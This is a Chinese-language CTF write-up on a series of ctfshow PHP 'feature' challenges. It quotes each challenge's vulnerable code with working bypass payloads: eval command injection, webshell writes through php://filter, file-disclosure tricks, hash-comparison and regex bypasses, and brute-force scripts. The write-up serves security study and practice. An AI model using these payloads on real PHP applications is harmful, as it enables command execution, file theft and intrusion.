本篇文章为大家展示了php中ctfshow的特性是什么,内容简明扼要并且容易理解,绝对能使你眼前一亮,通过这篇文章的详细介绍希望你能有所收获。
<?php include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if(preg_match("/[0-9]/", $num)){ die("no no no!"); } if(intval($num)){ echo $flag; } }
preg_match — 执行匹配正则表达式
返回值:
**preg_match()返回
pattern
的匹配次数。 它的值将是0次(不匹配)或1次,因为preg_match()在第一次匹配后 将会停止搜索。preg_match_all()不同于此,它会一直搜索subject
直到到达结尾。 如果发生错误preg_match()**返回FALSE
。
数组绕过
当匹配数组是返回false绕过。
?num[]=1
<?php include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==="4476"){ die("no no no!"); } if(intval($num,0)===4476){ echo $flag; }else{ echo intval($num,0); } }
intval()函数用于获取变量的整数值。
intval()函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。
int intval ( mixed $var [, int $base = 10 ] )参数说明:
$var:要转换成 integer 的数量值。
$base:转化所使用的进制。
如果 base 是 0,通过检测 var 的格式来决定使用的进制:
如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,
如果字符串以 "0" 开始,使用 8 进制(octal);否则,
将使用 10 进制 (decimal)。
传参一个数既要使其不强等于4476
,又要使得intaval
函数处理后的结果强等于4476
,结合上述函数解释
构造
?num=4476a
<?php show_source(__FILE__); include('flag.php'); $a=$_GET['cmd']; if(preg_match('/^php$/im', $a)){ if(preg_match('/^php$/i', $a)){ echo 'hacker'; } else{ echo $flag; } } else{ echo 'nonononono'; } Notice: Undefined index: cmd in /var/www/html/index.php on line 15 nonononono
题目要求,传参 cmd.
但是第一个正则匹配要求多行匹配php
,但是另一个要求有去掉修饰符m
要求不匹配php
.那么就应该能想到是截断。
第一个匹配多行,第二个只匹配单行,那么我们可以构造php%0ap
进行匹配,当多行匹配的时候前后都是p
,
还可以这里有有两个条件,第一个需要是php,第二个又不可以php,不过有个差距就是m模式,/m代表匹配多行数据,第一个if有匹配到第二行的php,而第二个if匹配不到为假。
CVE-2017-15715
https://blog.csdn.net/qq_46091464/article/details/108278486
<?php include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==4476){ die("no no no!"); } if(intval($num,0)==4476){ echo $flag; }else{ echo intval($num,0); } }
同样考点是intval
,但这道题不同于web90,而是弱比较,所以说4476a
等肯定不行的。
这里用到十六进制0x117c
或者八进制010574
https://www.runoob.com/php/php-intval-function.html
也可以科学计数法4476e2
,在第一个if会计数比较,在intval
函数中会被看做字符串。
<?php include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==4476){ die("no no no!"); } if(preg_match("/[a-z]/i", $num)){ die("no no no!"); } if(intval($num,0)==4476){ echo $flag; }else{ echo intval($num,0); } }
过滤了字母,但我们可以使用八进制010574
<?php include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==="4476"){ die("no no no!"); } if(preg_match("/[a-z]/i", $num)){ die("no no no!"); } if(!strpos($num, "0")){ die("no no no!"); } if(intval($num,0)===4476){ echo $flag; } }
strpos
查找 "php" 在字符串中第一次出现的位置:
strpos() 函数对大小写敏感。
返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。
比上一关增加条件,strpos函数限制了传参第一位不能为0,如果为0,就die.
但是如果找不到的话又会die.
仔细观察这里时强等于。
我们可以在八进制前加一个空格
?num= 010574
或者用小数点
?num=4476.0
或者再加个 +
?num=+4476.0
<?php include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==4476){ die("no no no!"); } if(preg_match("/[a-z]|\./i", $num)){ die("no no no!!"); } if(!strpos($num, "0")){ die("no no no!!!"); } if(intval($num,0)===4476){ echo $flag; } }
又增加过滤了.
构造空格+八进制
?num= 010574
也可以
?num=+010574 ?num=%2b010574
<?php highlight_file(__FILE__); if(isset($_GET['u'])){ if($_GET['u']=='flag.php'){ die("no no no"); }else{ highlight_file($_GET['u']); } }
可以看到不能直接等于flag.php
,
但是我们可以构造路劲让其显示
?u=/var/www/html/flag.php ?u=./flag.php
<?php include("flag.php"); highlight_file(__FILE__); if (isset($_POST['a']) and isset($_POST['b'])) { if ($_POST['a'] != $_POST['b']) if (md5($_POST['a']) === md5($_POST['b'])) echo $flag; else print 'Wrong.'; } ?>
这里是强比较。
弱比较的话可以百度有好多md5加密后是0e开头的,弱比较 0=0
强比较
如果传入md5
函数的不是字符串而是数组,那么就会返回null
, null=null绕过。
构造
a[]=1&b[]=2
还有md5强碰撞
https://blog.csdn.net/EC_Carrot/article/details/109525162
https://www.cnblogs.com/kuaile1314/p/11968108.html
Notice: Undefined index: flag in /var/www/html/index.php on line 15 Notice: Undefined index: flag in /var/www/html/index.php on line 16 Notice: Undefined index: HTTP_FLAG in /var/www/html/index.php on line 17 <?php include("flag.php"); $_GET?$_GET=&$_POST:'flag'; $_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag'; $_GET['flag']=='flag'?$_GET=&$_SERVER:'flag'; highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__); ?>
三元符运算,和传址(引用)
$_GET?$_GET=&$_POST:'flag'; //只要有输入的get参数就将get方法改变为post方法(修改了get方法的地址)
那么看最后要求$_GET['HTTP_FLAG']=='flag'?$flag:__FILE__
那么我们就可以直接随意get传参一个,然后post传参HTTP_FLAG=flag
即可获得flag.
看看wp:
https://www.php.cn/php-notebook-172859.html https://www.php.cn/php-weizijiaocheng-383293.html 考点是PHP里面的三元运算符和传址(引用) 传址(引用)有点像c语言里面的地址 我们可以修改一下代码 <?php include('flag.php'); if($_GET){ $_GET=&$_POST;//只要有输入的get参数就将get方法改变为post方法(修改了get方法的地 址) }else{ "flag"; } if($_GET['flag']=='flag'){ $_GET=&$_COOKIE; }else{ 'flag'; } if($_GET['flag']=='flag'){ $_GET=&$_SERVER; }else{ 'flag'; } if($_GET['HTTP_FLAG']=='flag'){//需要满足这个条件就可以输出flag highlight_file($flag); }else{ highlight_file(__FILE__); } 所以我们只需要 GET一个?HTTP_FLAG=flag 加 POST一个HTTP_FLAG=flag 中间的代码没有作用,因为我们不提交 flag 参数
<?php highlight_file(__FILE__); $allow = array(); for ($i=36; $i < 0x36d; $i++) { array_push($allow, rand(1,$i)); } if(isset($_GET['n']) && in_array($_GET['n'], $allow)){ file_put_contents($_GET['n'], $_POST['content']); } ?>
、意为当没有设置第三个函数时,比较是会自动转换数据类型,也就是弱比较。
那么我们传入1.php
就相当于若等于1
.
构造
/?n=1.php # post content=<?php system('cat flag36d.php');?>
<?php highlight_file(__FILE__); include("ctfshow.php"); //flag in class ctfshow; $ctfshow = new ctfshow(); $v1=$_GET['v1']; $v2=$_GET['v2']; $v3=$_GET['v3']; $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); if($v0){ if(!preg_match("/\;/", $v2)){ if(preg_match("/\;/", $v3)){ eval("$v2('ctfshow')$v3"); } } } ?> Notice: Undefined index: v1 in /var/www/html/index.php on line 17 Notice: Undefined index: v2 in /var/www/html/index.php on line 18 Notice: Undefined index: v3 in /var/www/html/index.php on line 19
这里有问题,又学费了。
php =
的运算符竟然比 and
高。
https://www.jb51.net/article/42425.htm
&& > || > = > and > or
<?php $a=true and false and false; var_dump($a); 返回true $a=true && false && false; var_dump($a); 返回false
https://www.php.net/manual/zh/language.operators.precedence.php
所以这时候就很清晰明了了。
只需要传入的 v1
值是数字。v3
必须有;
。
构造
# 直接输出$ctfshow;构造出 var_dump($ctfshow); ?v1=1&v2=var_dump($ctfshow)/*&v3=*/; ?v1=1&v2=var_dump(new ctfshow())/*&v3=*/; # 因为过滤的字符比较少,所以可以直接执行命令。 ?v1=1&v2=system('ls')/*&v3=*/; /?v1=1&v2=system('ls')&v3=; # 会报错但也可出来
反射类: https://www.php.net/manual/zh/class.reflectionclass.php
?v1=1&v2=echo new ReflectionClass('ctfshow')/*&v3=*/; ?v1=1&v2=echo new ReflectionClass&v3=;
反射类用法:
<?php class A{ public static $flag="flag{123123123}"; const PI=3.14; static function hello(){ echo "hello</br>"; } } $a=new ReflectionClass('A'); var_dump($a->getConstants()); 获取一组常量 输出 array(1) { ["PI"]=> float(3.14) } var_dump($a->getName()); 获取类名 输出 string(1) "A" var_dump($a->getStaticProperties()); 获取静态属性 输出 array(1) { ["flag"]=> string(15) "flag{123123123}" } var_dump($a->getMethods()); 获取类中的方法 输出 array(1) { [0]=> object(ReflectionMethod)#2 (2) { ["name"]=>string(5) "hello" ["class"]=>string(1) "A" } }
https://blog.csdn.net/miuzzx/article/details/109168454
解出来
flag_is_d3e0a1060x2d8b970x2d4f790x2db73d0x2d542e6338bca7
有点小坑,仔细看才发现有好多0x2d
flag{d3e0a106-8b97-4f79-b73d-542e6338bca7}
<?php highlight_file(__FILE__); include("ctfshow.php"); //flag in class ctfshow; $ctfshow = new ctfshow(); $v1=$_GET['v1']; $v2=$_GET['v2']; $v3=$_GET['v3']; $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); if($v0){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){ eval("$v2('ctfshow')$v3"); } } } ?> Notice: Undefined index: v1 in /var/www/html/index.php on line 17 Notice: Undefined index: v2 in /var/www/html/index.php on line 18 Notice: Undefined index: v3 in /var/www/html/index.php on line 19
跟上道题差不多,过滤的严了一些。过滤掉了\
和反引号,单引号,括号。
只能用反射类了。
构造
?v1=1&v2=echo new ReflectionClass&v3=;
同样结果注意flag格式
<?php highlight_file(__FILE__); $v1 = $_POST['v1']; $v2 = $_GET['v2']; $v3 = $_GET['v3']; $v4 = is_numeric($v2) and is_numeric($v3); if($v4){ $s = substr($v2,2); $str = call_user_func($v1,$s); echo $str; file_put_contents($v3,$str); } else{ die('hacker'); } ?> Notice: Undefined index: v1 in /var/www/html/index.php on line 14 Notice: Undefined index: v2 in /var/www/html/index.php on line 15 Notice: Undefined index: v3 in /var/www/html/index.php on line 16 hacker
这里要求v2
是数字,并且截取第三位后的字符作为call_user_func
的第二个参数。
v1
作为 call_user_func
的第一个参数。
v3
作为 file_put_contents
的文件名。
call_user_func($v1,$s);
返回结果作为file_put_contents
的第二参数。
is_numeric 函数是又漏洞的,再 php5 版本下是可以识别十六进制的。也就是说,如果传入v2=0x3c3f706870206576616c28245f504f53545b315d293b3f3e(<?php eval($_POST[1]);?>的十六进制)
也是可以识别为数字的。
但此题是 php7 环境。不可以。
要让v2均为数字,首先我们考虑写入1.php时,利用伪协议写入
get:v2=???&v3=php://filter/write=convert.base64-decode/resource=1.php post: v1=hex2bin
关键就是什么代码base64编码后再转为十六进制为全数字
$a='<?=`cat *`;'; $b=base64_encode($a); // PD89YGNhdCAqYDs= $c=bin2hex($b); //等号在base64中只是起到填充的作用,不影响具体的数据内容,直接用去掉,=和带着=的base64解码出来的内容是相同的。 输出 5044383959474e6864434171594473 带e的话会被认为是科学计数法,可以通过is_numeric检测。
同时因为经过substr处理,所以v2前面还要补两位数字。
构造
?v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php # post v1=hex2bin
或者
GET v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64- decode/resource=2.php POST v1=hex2bin #访问1.php后查看源代码获得flag # 115044383959474e6864434171594473 16进制转字符 PD89YGNhdCAqYDs base64解码 <?=`cat *YDs
<?php highlight_file(__FILE__); $v1 = $_POST['v1']; $v2 = $_GET['v2']; $v3 = $_GET['v3']; $v4 = is_numeric($v2) and is_numeric($v3); if($v4){ $s = substr($v2,2); $str = call_user_func($v1,$s); echo $str; if(!preg_match("/.*p.*h.*p.*/i",$str)){ file_put_contents($v3,$str); } else{ die('Sorry'); } } else{ die('hacker'); } ?> Notice: Undefined index: v1 in /var/www/html/index.php on line 14 Notice: Undefined index: v2 in /var/www/html/index.php on line 15 Notice: Undefined index: v3 in /var/www/html/index.php on line 16 hacker
相比上关过滤了php
.
用上关payload也可以打通。
<?php highlight_file(__FILE__); include("flag.php"); if(isset($_POST['v1']) && isset($_GET['v2'])){ $v1 = $_POST['v1']; $v2 = $_GET['v2']; if(sha1($v1)==sha1($v2)){ echo $flag; } } ?>
sha1 — 计算字符串的 sha1 散列值. 返回 sha1 散列值字符串。
sha1()函数无法处理数组类型,将报错并返回false,
所以构造
?v2[]=1 # post v1[]=1
这里没有判断两值是否相等,所以也可以传入两个相等的数。
?v2=2 v1=2
还有几个弱比较相等的字符串
aaroZmOk aaK1STfY aaO8zKZF aa3OFF9m
<?php highlight_file(__FILE__); include('flag.php'); error_reporting(0); $error='你还想要flag嘛?'; $suces='既然你想要那给你吧!'; foreach($_GET as $key => $value){ if($key==='error'){ die("what are you doing?!"); } $$key=$$value; }foreach($_POST as $key => $value){ if($value==='flag'){ die("what are you doing?!"); } $$key=$$value; } if(!($_POST['flag']==$flag)){ die($error); } echo "your are good".$flag."\n"; die($suces); ?> 你还想要flag嘛?
变量覆盖。
代码审计,直接传入
?suces=flag # post error=suces
这里把suces
和 error
都覆盖成了 $flag
,所以不管die 哪个,都会输出flag.
<?php highlight_file(__FILE__); include("flag.php"); if(isset($_POST['v1']) && isset($_GET['v2'])){ $v1 = $_POST['v1']; $v2 = $_GET['v2']; if(sha1($v1)==sha1($v2) && $v1!=$v2){ echo $flag; } } ?>
数组绕过。
还有
aaroZmOk aaK1STfY aaO8zKZF aa3OFF9m
<?php highlight_file(__FILE__); error_reporting(0); include("flag.php"); if(isset($_POST['v1'])){ $v1 = $_POST['v1']; $v3 = $_GET['v3']; parse_str($v1,$v2); if($v2['flag']==md5($v3)){ echo $flag; } } ?>
MD5弱类型比较。
parse_str() 函数把查询字符串解析到变量中。
注释:如果未设置 array 参数,由该函数设置的变量将覆盖已存在的同名变量。
注释:php.ini 文件中的 magic_quotes_gpc 设置影响该函数的输出。如果已启用,那么在 parse_str() 解析之前,变量会被 addslashes() 转换。
数组绕过
md5加密数组会返回NULL,$v2['flag'] 也是NULL。
?v3[]=1 v1[]=flag=0
弱比较绕过
0e开头的md5和原值: QNKCDZO 0e830400451993494058024219903391 240610708 0e462097431906509019562988736854 s878926199a 0e545993274517709034328855841020 s155964671a 0e342768416822451524974117254469 s214587387a 0e848240448830537924465865611904 s214587387a 0e848240448830537924465865611904 s878926199a 0e545993274517709034328855841020 s1091221200a 0e940624217856561557816327384675 s1885207154a 0e509367213418206700842008763514 s1502113478a 0e861580163291561247404381396064 s1885207154a 0e509367213418206700842008763514 s1836677006a 0e481036490867661113260034900752 s155964671a 0e342768416822451524974117254469 s1184209335a 0e072485820392773389523109082030 s1665632922a 0e731198061491163073197128363787 s1502113478a 0e861580163291561247404381396064 s1836677006a 0e481036490867661113260034900752 s1091221200a 0e940624217856561557816327384675 s155964671a 0e342768416822451524974117254469 s1502113478a 0e861580163291561247404381396064 s155964671a 0e342768416822451524974117254469 s1665632922a 0e731198061491163073197128363787 s155964671a 0e342768416822451524974117254469 s1091221200a 0e940624217856561557816327384675 s1836677006a 0e481036490867661113260034900752 s1885207154a 0e509367213418206700842008763514 s532378020a 0e220463095855511507588041205815 s878926199a 0e545993274517709034328855841020 s1091221200a 0e940624217856561557816327384675 s214587387a 0e848240448830537924465865611904 s1502113478a 0e861580163291561247404381396064 s1091221200a 0e940624217856561557816327384675 s1665632922a 0e731198061491163073197128363787 s1885207154a 0e509367213418206700842008763514 s1836677006a 0e481036490867661113260034900752 s1665632922a 0e731198061491163073197128363787 s878926199a 0e545993274517709034328855841020
<?php highlight_file(__FILE__); error_reporting(0); include("flag.php"); if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) { die('error'); } //只有36d的人才能看到flag if(intval(strrev($_GET['c']))==0x36d){ echo $flag; } ?> error
ereg — 正则表达式匹配
ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的。 ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配
0x36d
是 877
所以构造
?c=a%00aaaa778
当通过strrev
和intval
的时候,为 877
<?php highlight_file(__FILE__); error_reporting(0); if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2']; if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){ eval("echo new $v1($v2());"); } } ?>
payload:
?v1=ReflectionClass&v2=system('ls') ?v1=Exception&v2=system('ls')
<?php highlight_file(__FILE__); error_reporting(0); if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2']; if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){ die("error v1"); } if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){ die("error v2"); } eval("echo new $v1($v2());"); } ?>
考察点:FilesystemIterator类的使用(作用就是获取当前目录文件)
payload:
?v1=FilesystemIterator&v2=getcwd
http://phpff.com/filesystemiterator
<?php highlight_file(__FILE__); error_reporting(0); include("flag.php"); function getFlag(&$v1,&$v2){ eval("$$v1 = &$$v2;"); var_dump($$v1); } if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2']; if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){ die("error v1"); } if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){ die("error v2"); } if(preg_match('/ctfshow/', $v1)){ getFlag($v1,$v2); } } ?>
php变量地址引用。可以利用全局变量来进行赋值给ctfshow这个变量
payload:
?v1=ctfshow&v2=GLOBALS
<?php highlight_file(__FILE__); error_reporting(0); function filter($file){ if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){ die("hacker!"); }else{ return $file; } } $file=$_GET['file']; if(! is_file($file)){ highlight_file(filter($file)); }else{ echo "hacker!"; }
is_file() 函数检查指定的文件名是否是正常的文件。如果文件存在且为正常的文件,则返回 true。
苦苦不知道flag在哪里,原来就在falg.php
payload:
?file=php://filter/resource=flag.php ?file=php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php ?file=php://filter/read=convert.quoted-printable-encode/resource=flag.php ?file=compress.zlib://flag.php
<?php highlight_file(__FILE__); error_reporting(0); function filter($file){ if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){ die('hacker!'); }else{ return $file; } } $file=$_GET['file']; if(! is_file($file)){ highlight_file(filter($file)); }else{ echo "hacker!"; }
压缩过滤器绕过
?file=compress.zlib://flag.php
在linux中/proc/self/root是指向根目录的,也就是如果在命令行中输入ls /proc/self/root,其实显示的内容是根目录下的内容
多次重复后绕过is_file.。
?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/ self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se lf/root/proc/self/root/var/www/html/flag.php
php的一个小 trick. 具体看这里
<?php error_reporting(0); highlight_file(__FILE__); function filter($file){ if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){ die('hacker!'); }else{ return $file; } } $file=$_GET['file']; echo "师傅们居然tql都是非预期 哼!"; if(! is_file($file)){ highlight_file(filter($file)); }else{ echo "hacker!"; } 师傅们居然tql都是非预期 哼!
过滤了compress
,上面的非预期也就不能用了。
但 filter
没过滤。
payload :
?file=php://filter/resource=flag.php
<?php include('flag.php'); highlight_file(__FILE__); error_reporting(0); function filter($num){ $num=str_replace("0x","1",$num); $num=str_replace("0","1",$num); $num=str_replace(".","1",$num); $num=str_replace("e","1",$num); $num=str_replace("+","1",$num); return $num; } $num=$_GET['num']; if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){ if($num=='36'){ echo $flag; }else{ echo "hacker!!"; } }else{ echo "hacker!!!"; } hacker!!!
trim函数的绕过+is_numeric绕过
语法 trim(string,charlist) 参数 描述 string 必需。规定要检查的字符串。 charlist 可选。规定从字符串中删除哪些字符。如果省略该参数,则移除下列所有字符: "\0" - NULL "\t" - 制表符 "\n" - 换行 "\x0B" - 垂直制表符 "\r" - 回车 " " - 空格
测试代码:
for ($i=0; $i <128 ; $i++) { $x=chr($i).'1'; if(is_numeric($x)==true){ echo urlencode(chr($i))."\n"; } }
输出了%09 %0A %0B %0C %0D + %2B - .
再来看看 trim+is_numeric
for ($i=0; $i <=128 ; $i++) { $x=chr($i).'1'; if(trim($x)!=='1' && is_numeric($x)){ echo urlencode(chr($i))."\n"; } }
输出
%0C %2B - . 0 1 2 3 4 5 6 7 8 9
而 %2B (+)
、-
、 .
被过滤。所以构造
?num=%0c36
<?php error_reporting(0); highlight_file(__FILE__); include("flag.php"); $a=$_SERVER['argv']; $c=$_POST['fun']; if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){ eval("$c".";"); if($fl0g==="flag_give_me"){ echo $flag; } } } ?>
php变量命名是不允许使用点号的,所以isset($_POST['CTF_SHOW.COM'])
就很难搞。
本地暴破一下:
1.php
<?php var_dump($_POST);
python脚本:
import requests url = "http://127.0.0.1/1/1.php"; for i in range(0,125): i = chr(i) for j in range(0, 125): j = chr(j) param = "CTF"+i+"SHOW"+j+"COM" data={ param:1, } #print(param) reponse = requests.post(url=url,data=data) page_text = reponse.text if "CTF_SHOW.COM" in page_text: print(i+'\t'+j+'\n') print(page_text)
成功爆破出。 [ .
测试一下:
<?php var_dump($_POST); post 输入 CTF_SHOW.COM=1 返回 array(1) { ["CTF_SHOW_COM"]=> string(1) "1" }
接下来看看$SERVER['argv']
的作用。
1、cli模式(命令行)下
第一个参数$_SERVER['argv'][0]是脚本名,其余的是传递给脚本的参数
2、web网页模式下
在web页模式下必须在php.ini开启register_argc_argv配置项
设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效果
这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]
$argv,$argc在web模式下不适用
因为我们是在网页模式下运行的,所以$_SERVER['argv'][0] = $_SERVER['QUERY_STRING']
也就是$a[0]= $_SERVER['QUERY_STRING']
这时候我们只要通过 eval("$c".";");
将$flag赋值flag_give_me就可以了。
我们传值?$fl0g=flag_give_me;
(记得有分号,后边需要eval执行),然后此时 $a[0]="$fl0g=flag_give_me;"
,我们让 eval("$c".";");
中的 $c 变为eval($a[0])
即可成功使 fl0g 变量成功赋值。
paylaod:
GET: ?$fl0g=flag_give_me; POST: CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0])
非预期解:
POST: CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag POST: CTF_SHOW=&CTF[SHOW.COM=&fun=var_dump($GLOBALS) 题目出不来,本地测试可以
这个题本来的的预期解是:
get: a=1+fl0g=flag_give_me post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
但是按理说这样也可以的呀:
get: fl0g=flag_give_me post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[0])
https://blog.csdn.net/miuzzx/article/details/109181768
应该又是环境问题。
<?php error_reporting(0); highlight_file(__FILE__); include("flag.php"); $a=$_SERVER['argv']; $c=$_POST['fun']; if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){ eval("$c".";"); if($fl0g==="flag_give_me"){ echo $flag; } } } ?>
被过滤了其他方法,
payload
get: a=1+fl0g=flag_give_me post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
还有:
GET:?1=flag.php POST:CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[1])
<?php error_reporting(0); highlight_file(__FILE__); include("flag.php"); $a=$_SERVER['argv']; $c=$_POST['fun']; if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){ eval("$c".";"); if($fl0g==="flag_give_me"){ echo $flag; } } }
payload:
GET:?a=1+fl0g=flag_give_me POST:CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1]) or GET:?$fl0g=flag_give_me POST:CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])
<?php error_reporting(0); include("flag.php"); highlight_file(__FILE__); $ctf_show = md5($flag); $url = $_SERVER['QUERY_STRING']; //特殊字符检测 function waf($url){ if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){ return true; }else{ return false; } } if(waf($url)){ die("嗯哼?"); }else{ extract($_GET); } if($ctf_show==='ilove36d'){ echo $flag; }
fuzz:
1.php
<?php $a = $_SERVER['QUERY_STRING']; #var_dump($a); extract($_GET); if($ctf_show==='ilove36d'){ echo "flagggg"; }
python:
import requests import urllib.parse url = "http://127.0.0.1/1/1.php" for i in range(0,125): # print(i) i = chr(i) p = "ctf"+i+"show" # p = urllib.parse.quote(p) param = { p:"ilove36d" } reponse = requests.get(url=url,params=param) page = (reponse.text) if "flaggg" in page: print(i) print(page) print("------------------")
得到
flagggg ------------------ . flagggg ------------------ [ flagggg ------------------ _ flagggg ------------------ Process finished with exit code 0
这里其他被ban了,只能使用 空格
?ctf show=ilove36d
<?php error_reporting(0); include("flag.php"); highlight_file(__FILE__); $f1 = $_GET['f1']; $f2 = $_GET['f2']; if(check($f1)){ var_dump(call_user_func(call_user_func($f1,$f2))); }else{ echo "嗯哼?"; } function check($str){ return !preg_match('/[0-9]|[a-z]/i', $str); } NULL
gettext拓展的使用.
https://www.cnblogs.com/lost-1987/articles/3309693.html
https://www.php.net/manual/zh/book.gettext.php
<?php echo gettext("phpinfo"); 结果 phpinfo echo _("phpinfo"); 结果 phpinfo
所以 call_user_func('_','phpinfo')
返回的就是phpinfo
get_defined_vars — 返回由所有已定义变量所组成的数组 这样可以获得 $flag
因为我们要得到的flag就在flag.php中,所以可以直接用get_defined_vars
get_defined_vars ( void ) : array 此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
payload:
?f1=_&f2=get_defined_vars
<?php error_reporting(0); highlight_file(__FILE__); if(isset($_GET['f'])){ $f = $_GET['f']; if(stripos($f, 'ctfshow')>0){ echo readfile($f); } }
stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)。
返回值: | 返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。 |
---|---|
PHP 版本: | 5+ |
目录穿越:
?f=/ctfshow/../var/www/html/flag.php ?f=./ctfshow/../flag.php
还可以php伪协议
payload:
?f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php
还可以远程文件包含。在自己服务器上写一个命名 ctfshow.txt
.
very very very(省略25万个very)ctfshow
<?php error_reporting(0); highlight_file(__FILE__); include("flag.php"); if(isset($_POST['f'])){ $f = $_POST['f']; if(preg_match('/.+?ctfshow/is', $f)){ die('bye!'); } if(stripos($f, 'ctfshow') === FALSE){ die('bye!!'); } echo $flag; }
直接 post ,正则匹配到 ctfshow
与匹配规则不符 ,同时 stripos
在第0 匹配, 而0=== FALSE为假绕过。
f=ctfshow
very very very(省略25万个very)ctfshow
<?php error_reporting(0); highlight_file(__FILE__); include("flag.php"); if(isset($_POST['f'])){ $f = (String)$_POST['f']; if(preg_match('/.+?ctfshow/is', $f)){ die('bye!'); } if(stripos($f,'36Dctfshow') === FALSE){ die('bye!!'); } echo $flag; }
利用正则最大回溯次数绕过
https://www.laruence.com/2010/06/08/1579.html
在php中正则表达式进行匹配有一定的限制,超过限制直接返回false
写个py脚本:
import requests url = "http://b6f3a9c0-3da1-44b5-8cee-fedece8ae121.chall.ctf.show/" param = "very"*250000+"36Dctfshow" data = { 'f':param, } print(param) reponse = requests.post(url=url,data=data) print(reponse.text)
得到Falg
打开是一个网站。
直接扫目录,扫到 /admin/
